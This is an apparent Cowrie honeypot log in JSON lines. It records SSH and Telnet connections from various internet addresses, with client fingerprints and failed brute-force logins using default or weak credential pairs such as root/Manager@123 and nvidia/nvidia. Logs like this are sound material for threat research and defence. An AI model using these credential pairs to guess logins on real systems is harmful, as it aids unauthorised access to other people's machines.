{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:42.521296Z","src_ip":"47.86.95.62","session":"ba6ecd984a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"117.8","message":"Connection lost after 117.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:48.309231Z","src_ip":"47.86.95.62","session":"ba6ecd984a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"9598f44efd42","protocol":"ssh","message":"New connection: 61.222.211.114:34590 (159.203.135.109:22) [session: 9598f44efd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:54.980713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:54.985898Z","src_ip":"61.222.211.114","session":"9598f44efd42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:55.191217Z","src_ip":"61.222.211.114","session":"9598f44efd42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jjj123","message":"login attempt [root/jjj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:56.041010Z","src_ip":"61.222.211.114","session":"9598f44efd42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:57.249485Z","src_ip":"61.222.211.114","session":"9598f44efd42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":58218,"dst_ip":"159.203.135.109","dst_port":22,"session":"6864c7ccc8e1","protocol":"ssh","message":"New connection: 31.59.89.180:58218 (159.203.135.109:22) [session: 6864c7ccc8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:09.953664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:09.958385Z","src_ip":"31.59.89.180","session":"6864c7ccc8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:10.068036Z","src_ip":"31.59.89.180","session":"6864c7ccc8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:10.538234Z","src_ip":"31.59.89.180","session":"6864c7ccc8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":48082,"dst_ip":"159.203.135.109","dst_port":22,"session":"52de28298ddb","protocol":"ssh","message":"New connection: 209.99.184.143:48082 (159.203.135.109:22) [session: 52de28298ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.396920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.401106Z","src_ip":"209.99.184.143","session":"52de28298ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.492404Z","src_ip":"209.99.184.143","session":"52de28298ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":27594,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3f241ffe019","protocol":"ssh","message":"New connection: 118.26.36.248:27594 (159.203.135.109:22) [session: e3f241ffe019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.581884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.589689Z","src_ip":"118.26.36.248","session":"e3f241ffe019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.650947Z","src_ip":"31.59.89.180","session":"6864c7ccc8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.807862Z","src_ip":"118.26.36.248","session":"e3f241ffe019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026","message":"login attempt [root/Welcome2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:11.888102Z","src_ip":"209.99.184.143","session":"52de28298ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:12.705164Z","src_ip":"118.26.36.248","session":"e3f241ffe019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:12.982678Z","src_ip":"209.99.184.143","session":"52de28298ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:13.925382Z","src_ip":"118.26.36.248","session":"e3f241ffe019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59780,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c37ba1494c","protocol":"ssh","message":"New connection: 47.86.95.62:59780 (10.17.0.5:22) [session: 69c37ba1494c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:21.638170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:24.628632Z","src_ip":"47.86.95.62","session":"69c37ba1494c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:25.646702Z","src_ip":"47.86.95.62","session":"69c37ba1494c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":49714,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a2df79f378","protocol":"ssh","message":"New connection: 20.12.41.6:49714 (10.17.0.5:22) [session: 35a2df79f378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:32.500983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:32.505107Z","src_ip":"20.12.41.6","session":"35a2df79f378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:32.519204Z","src_ip":"20.12.41.6","session":"35a2df79f378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Manager@123","message":"login attempt [root/Manager@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:32.608478Z","src_ip":"20.12.41.6","session":"35a2df79f378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:33.626674Z","src_ip":"20.12.41.6","session":"35a2df79f378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":60232,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ee25180c83b","protocol":"ssh","message":"New connection: 43.153.27.162:60232 (10.17.0.5:22) [session: 0ee25180c83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:44.098563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:44.106969Z","src_ip":"43.153.27.162","session":"0ee25180c83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:44.175605Z","src_ip":"43.153.27.162","session":"0ee25180c83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:44.482235Z","src_ip":"43.153.27.162","session":"0ee25180c83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:45.554541Z","src_ip":"43.153.27.162","session":"0ee25180c83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:55.220307Z","src_ip":"47.86.95.62","session":"69c37ba1494c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.8","message":"Connection lost after 36.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:10:58.457585Z","src_ip":"47.86.95.62","session":"69c37ba1494c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.113.248.161","src_port":48950,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dc1fe1914a","protocol":"telnet","message":"New connection: 125.113.248.161:48950 (10.17.0.5:23) [session: f6dc1fe1914a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:04.482071Z"}
{"eventid":"cowrie.session.closed","duration":12.27821683883667,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:16.760209Z","src_ip":"125.113.248.161","session":"f6dc1fe1914a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00243592262268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:24.580704Z","src_ip":"88.87.69.240","session":"b8d185ebbe4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":39184,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ab13cec41e","protocol":"ssh","message":"New connection: 31.59.89.180:39184 (159.203.135.109:22) [session: 84ab13cec41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:29.443137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:29.451500Z","src_ip":"31.59.89.180","session":"84ab13cec41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:29.563148Z","src_ip":"31.59.89.180","session":"84ab13cec41e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu","message":"login attempt [root/qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:30.042828Z","src_ip":"31.59.89.180","session":"84ab13cec41e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:31.160484Z","src_ip":"31.59.89.180","session":"84ab13cec41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":47474,"dst_ip":"159.203.135.109","dst_port":22,"session":"830f13d3071a","protocol":"ssh","message":"New connection: 61.222.211.114:47474 (159.203.135.109:22) [session: 830f13d3071a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:37.422933Z"}
